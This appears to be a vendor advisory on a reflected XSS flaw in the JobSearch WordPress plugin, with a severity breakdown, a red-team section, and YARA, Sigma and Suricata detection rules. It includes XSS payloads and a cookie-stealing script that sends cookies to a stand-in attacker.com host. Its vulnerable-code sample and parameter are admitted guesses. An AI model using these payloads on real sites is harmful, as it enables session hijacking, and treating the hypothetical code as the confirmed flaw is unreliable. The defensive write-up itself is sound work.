CVE-2024-47394

Executive Summary

CVE-2024-47394 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin JobSearch by eyecix, affecting versions up to and including 2.5.9. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. With a CVSS score of 7.1 (High), this flaw can be exploited without authentication, requiring only user interaction (e.g., clicking a crafted link). The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a confirmed patch makes it a persistent risk for unmaintained sites.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. Since the plugin is distributed via the WordPress Plugin Directory and third-party repositories, any site running an unpatched version is at risk. No official patch has been released as of the latest advisory, and the vendor (eyecix) has not provided a fix. Administrators should monitor for updates or consider removing the plugin if no patch becomes available.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a malicious link.
• Scope: Changed (S:C) – Impact may extend beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: Low (A:L) – Limited disruption.

Threat Level: High due to the potential for phishing, session hijacking, and defacement, despite low current exploitation activity.

Deep Dive & Mechanics

The vulnerability exists in the JobSearch WordPress plugin, specifically in the handling of user input that is reflected back in HTTP responses without proper sanitization or encoding. Reflected XSS occurs when an application includes unvalidated input in an immediate response, such as in error messages or search results. In this case, the plugin fails to neutralize input during web page generation, allowing an attacker to craft a URL containing malicious JavaScript. When a victim clicks the link, the script executes in the context of the victim's browser, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the user.

The vulnerable parameter is likely passed via GET or POST requests and echoed back without escaping. For example, a search query or error message might be reflected directly into the HTML. The attack does not require authentication, making it accessible to any external attacker.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (PHP):

<?php
$search = $_GET['search'];
echo "<div>You searched for: " . $search . "</div>";
?>

Patched Code (PHP):

<?php
$search = sanitize_text_field($_GET['search']);
echo "<div>You searched for: " . esc_html($search) . "</div>";
?>

The patched version uses esc_html() to encode HTML special characters, preventing script injection. The vulnerable version directly concatenates user input without escaping.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with JobSearch plugin version <= 2.5.9.
• No authentication required.

Exploit Payload:

<script>alert('XSS')</script>

Attack URL:

http://target-site.com/?search=<script>alert('XSS')</script>

Steps:

1. Identify a vulnerable endpoint (e.g., search functionality).
2. Craft a URL with a malicious script payload.
3. Deliver the link to a victim via phishing email or social engineering.
4. Upon clicking, the script executes in the victim's browser.

Advanced Payload (cookie theft):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Defense & Detection)

Detection:

• Monitor web server logs for unusual query parameters containing <script> tags.
• Use WAF rules to block reflected XSS patterns.

Mitigation:

• Apply input validation and output encoding.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Disable the plugin if no patch is available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script> tags in query parameters.
  • Referer headers from known malicious domains.
• Host IOCs:
  • Unusual entries in web server access logs (e.g., GET /?search=<script>...).
  • Presence of unexpected JavaScript in page source.
• File IOCs:
  • Modified plugin files (e.g., wp-content/plugins/wp-jobsearch/).

Detection Engineering

YARA Rule

rule CVE_2024_47394_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting JobSearch plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-47394"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $vuln_param = /[?&]search=/
    condition:
        $vuln_param and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against JobSearch Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with script tags in query parameters targeting JobSearch plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47394 Reflected XSS Attempt"; flow:to_server,established; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the JobSearch plugin until a patch is available.
   • Implement a Web Application Firewall (WAF) with rules to block reflected XSS.
   • Apply input validation and output encoding to all user-supplied data.

2. Long-term Fix:

   • Monitor the plugin's official page for updates.
   • If no patch is released, consider replacing the plugin with an alternative.

3. User Awareness:

   • Educate users not to click suspicious links.
   • Enable browser XSS filters (e.g., X-XSS-Protection header).

4. Monitoring:

   • Review web server logs for anomalous patterns.
   • Use the provided detection rules to identify exploitation attempts.

Valters IT
Securing Digital Frontiers